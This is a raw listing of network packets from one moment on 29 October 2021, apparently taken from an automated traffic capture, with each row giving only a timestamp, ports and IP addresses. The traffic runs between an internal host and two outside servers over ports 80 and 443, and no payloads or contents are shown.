Oct 29, 2021 14:11:13.425640106 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.425678015 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.425718069 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.425755978 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.425793886 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.425832033 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.425869942 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.425905943 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.425944090 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.425980091 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.426018000 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.426055908 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.426091909 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.426129103 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.426166058 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.426191092 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.426202059 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.426239014 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.426275969 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.426316023 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.426354885 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.426389933 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.426426888 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.426464081 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.426500082 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.426537037 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.426573992 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.426610947 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.426965952 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427007914 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427047014 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427082062 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427119970 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427159071 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427176952 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.427196026 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427233934 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427273989 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427311897 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427350044 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427386045 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427423954 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427463055 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427499056 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427536964 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427573919 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427612066 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427649975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427685976 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427722931 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427767038 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427810907 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427849054 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427901983 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427938938 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.427977085 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.428014994 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.428052902 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.428093910 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.428132057 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.428170919 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.428172112 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.428210020 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.428246021 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.428284883 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.428322077 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.428359985 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.428399086 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.428436041 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.428473949 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.428510904 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.428549051 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.428586960 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.428627014 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.428666115 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.428705931 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.428744078 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.428785086 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.428822041 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.428890944 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.428930044 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.428967953 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429004908 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429043055 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429081917 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429119110 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429157019 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429173946 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.429197073 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429233074 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429271936 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429308891 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429347038 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429385900 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429421902 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429459095 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429497004 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429532051 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429569960 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429606915 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429644108 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429682016 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429718018 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429764032 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429800987 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429836988 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429873943 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429912090 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.429948092 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.430171967 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.430172920 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.430212975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.430248976 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.430288076 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.430325985 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.430361986 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.430399895 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.430453062 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.430495024 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.430533886 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.431166887 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.431324005 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.431361914 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.431400061 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.431437969 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.431473970 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.431509972 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.431546926 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.431586981 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.431626081 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.431662083 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.432086945 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.432126045 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.432166100 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.432168961 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.432202101 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.432240009 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.432277918 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.432315111 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.432352066 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.432389021 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.432437897 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.432492018 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.432534933 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.432573080 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.432610035 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.432646990 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.432684898 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.432722092 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.432760000 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.433162928 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.434158087 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.435152054 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.436161041 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.436328888 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.437165022 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.437529087 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.438169956 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.439172983 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.440170050 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.440551043 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.440696955 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.440774918 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.440884113 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.440960884 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.441032887 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.441154003 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.441181898 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.442228079 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.442281961 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.442320108 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.442332029 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.443171024 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.443191051 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.444159031 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.444171906 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.445261002 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.445274115 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.446185112 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.446693897 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.447984934 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.458390951 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.458559036 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.458647966 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.458731890 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.458808899 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.458889008 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.459192991 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.459240913 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.459270954 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.460180998 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.460201979 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.461194992 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.462193012 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.475425005 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.475481987 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.476181030 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.476255894 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.476368904 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.476442099 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.476527929 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.476600885 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.476670980 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.476752043 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.477178097 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.477225065 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.478179932 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.478204012 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.479173899 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.479191065 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.480187893 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.480202913 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.481172085 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.481184959 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.482173920 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.482187033 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.483179092 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.484173059 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.493757963 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.493813992 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.493855000 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.493895054 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.493932962 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.493971109 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.494007111 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.494044065 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.494081974 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.494119883 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.494158983 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.494195938 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.494208097 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.495187044 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.495461941 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.495565891 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.495646954 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.495738029 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.495975018 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.496159077 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.496211052 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.496227026 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.496265888 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.496577978 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.496618032 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.497200012 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.497230053 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.497597933 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.497636080 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.497674942 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.497714043 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.497750044 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.497788906 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.497827053 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.497864008 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.498184919 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.498207092 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.499053001 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.499093056 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.499129057 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.499166965 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.499183893 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.499203920 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.499206066 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.499242067 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.499298096 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.499336004 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.499373913 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.499413013 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.499449968 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.499488115 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.499525070 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.499561071 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.499598980 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.499635935 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.499674082 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.499711037 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.499747038 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.499799967 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.499839067 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.499875069 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.499912024 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.499949932 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.499988079 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.500025988 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.500062943 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.500101089 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.500138998 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.500174046 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.500206947 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.500210047 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.500211000 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.500247955 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.500586987 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.500623941 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.500663042 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.500978947 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.501019001 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.501056910 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.501095057 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.501132965 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.501169920 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.501179934 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.501209021 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.501208067 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.501235962 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.502183914 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.502670050 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.502711058 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.502715111 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.502749920 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.502788067 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.502825975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.502862930 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.502898932 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.502935886 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.502974033 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.503011942 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.503051043 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.503088951 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.503127098 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.503165007 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.503170013 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.503187895 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.503201008 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.503238916 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.503276110 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.503314018 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.503353119 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.503387928 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.504168034 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.504584074 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.504626036 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.504662991 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.504699945 CEST	80	50094	193.56.146.214	192.168.2.3
